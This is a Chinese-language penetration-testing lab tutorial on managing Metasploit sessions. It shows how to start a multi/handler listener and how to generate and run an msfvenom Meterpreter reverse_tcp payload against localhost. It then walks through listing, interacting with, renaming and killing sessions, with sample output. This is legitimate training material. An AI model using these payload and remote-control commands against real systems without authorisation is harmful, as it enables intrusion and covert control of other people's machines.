引言
在渗透测试中,同时访问多个系统是很常见的。Metasploit Framework 提供了一种强大的方式来管理这些连接,这些连接被称为“会话”(sessions)。会话是到已攻陷目标(compromised target)的活动链接,它可以是一个命令行 shell,也可以是高级的 Meterpreter 会话。
有效地管理这些会话是一项关键技能。它能让你组织工作流程,无缝切换目标,并保持对已攻陷资产的控制。在本实验(lab)中,你将学习 Metasploit 中管理多个会话的基础命令。你将练习获取会话、列出它们、与特定会话交互、重命名它们以便更好地组织,最后,干净地终止它们。
获取多个 Meterpreter 或 shell 会话
在此步骤中,你将在 Metasploit 中设置一个监听器,然后执行一个 payload 来创建两个独立的 Meterpreter 会话。这模拟了访问两个不同系统的过程。
首先,打开一个终端并启动 Metasploit Framework 控制台。-q 标志使其静默启动,不显示横幅。
msfconsole -q
接下来,我们将配置一个通用的监听器,称为 multi/handler,以等待传入连接。
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
现在,使用 -j 标志将监听器作为后台作业运行。这使得 msfconsole 提示符保持可用,以便执行其他命令,同时监听器在后台运行。
run -j
你应该会看到一个确认信息,表明监听器已启动。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
现在,你需要生成并执行连接回此监听器的 payload。通过点击终端窗口中的 + 图标,打开一个新的、第二个终端标签页。
在这个新终端中,使用 msfvenom 来创建 payload。此命令会生成一个 ELF 可执行文件,该文件运行时将连接回我们的监听器。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
使生成的 payload 文件可执行:
chmod +x ~/project/payload.elf
现在,执行 payload 两次以创建两个会话。我们将它们作为后台进程 (&) 运行,这样你就可以立即再次运行命令。
./payload.elf &
./payload.elf &
切换回你的第一个终端窗口,其中运行着 msfconsole。你将看到指示已打开两个 Meterpreter 会话的消息。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
你现在已成功建立了两个活动会话。
使用 sessions 命令列出所有活动会话
在此步骤中,你将学习如何查看你已建立的所有活动会话。当有多个会话打开时,你需要一种方法来列出它们,以便了解你连接到了哪些目标。
sessions 命令用于此目的。在你的 msfconsole 终端中,只需输入 sessions 即可获得所有活动会话的列表。-l 标志是 list 的别名,功能相同。
sessions
输出将是一个表格,包含每个会话的信息:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
此表格提供了清晰的概览:
- Id: 每个会话的唯一编号,用于与之交互。
- Name: 会话的自定义名称(当前为空)。
- Type: 会话的类型(例如,
meterpreter、shell)。 - Information: 关于被攻陷系统(compromised system)的详细信息,例如用户 ID。
- Connection: 源和目标 IP 地址及端口。
使用 sessions -i 与特定会话进行交互
在此步骤中,你将学习如何从列表中选择并与特定会话进行交互。
一旦你确定了想要操作的会话,就可以使用 sessions 命令,加上 -i (interact) 标志,然后是会话 ID。
让我们与第一个会话(ID 1)进行交互。
sessions -i 1
你的命令提示符将从 msf6 > 变为 meterpreter >,这表明你现在已进入 Meterpreter 会话,可以运行 Meterpreter 特定的命令。
[*] Starting interaction with 1...
meterpreter >
为了确认你已进入会话,可以运行一个简单的命令,如 sysinfo,以获取目标系统的系统信息。
sysinfo
你将看到类似以下的输出:
Computer : labex-virtual-machine
OS : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter : x64/linux
在完成一个会话内的操作后,你可以返回到主 msfconsole 提示符,而无需终止该会话。要做到这一点,请使用 background 命令。
background
这将把该会话放到后台,并将你带回到 msf6 > 提示符,使你能够管理其他会话。
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
使用 sessions -n 为会话重命名以实现更好的组织
在此步骤中,你将学习如何重命名会话。在管理许多会话时,默认名称不够具有描述性。使用有意义的标签(例如,“WebServer”、“DBServer”)重命名会话,可以使它们更容易识别。
你可以使用 sessions 命令配合 -n (name) 标志来重命名会话。语法是 sessions -n <NewName> <ID>。
让我们将会话 2 重命名为一个更具描述性的名称,例如 TestHost。
sessions -n TestHost 2
Metasploit 将确认会话已重命名。
[*] Session 2's name has been changed to TestHost.
现在,再次列出会话以查看更改。
sessions
输出表格现在将在会话 2 的“Name”列中显示新名称。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
这使得跟踪你的目标更加容易。
使用 sessions -k 终止会话
在此步骤中,你将学习如何终止会话。一旦你完成了在目标系统上的工作,或者不再需要某个会话,最好将其关闭。
要终止(或杀死)一个会话,请使用 sessions 命令配合 -k (kill) 标志,然后是会话 ID。
让我们终止会话 1。
sessions -k 1
Metasploit 将确认它正在停止该会话。
[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
为了验证会话是否已被终止,请再列出一次活动会话。
sessions
输出现在将只显示剩余的会话 TestHost。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
你已成功清理了不必要的会话。
总结
恭喜你完成了本次实验!你已经掌握了在 Metasploit Framework 中管理多个会话的基本技能。
在本次实验中,你练习了:
- 使用
multi/handler和 payload 创建多个 Meterpreter 会话。 - 使用
sessions命令列出所有活动会话。 - 使用
sessions -i <ID>与特定会话进行交互。 - 使用
sessions -n <Name> <ID>为会话重命名以实现更好的组织。 - 使用
sessions -k <ID>清理终止会话。
掌握这些命令对于任何渗透测试人员来说都是基础,因为它们能够实现对多个被攻陷系统的有效和有组织的控制。


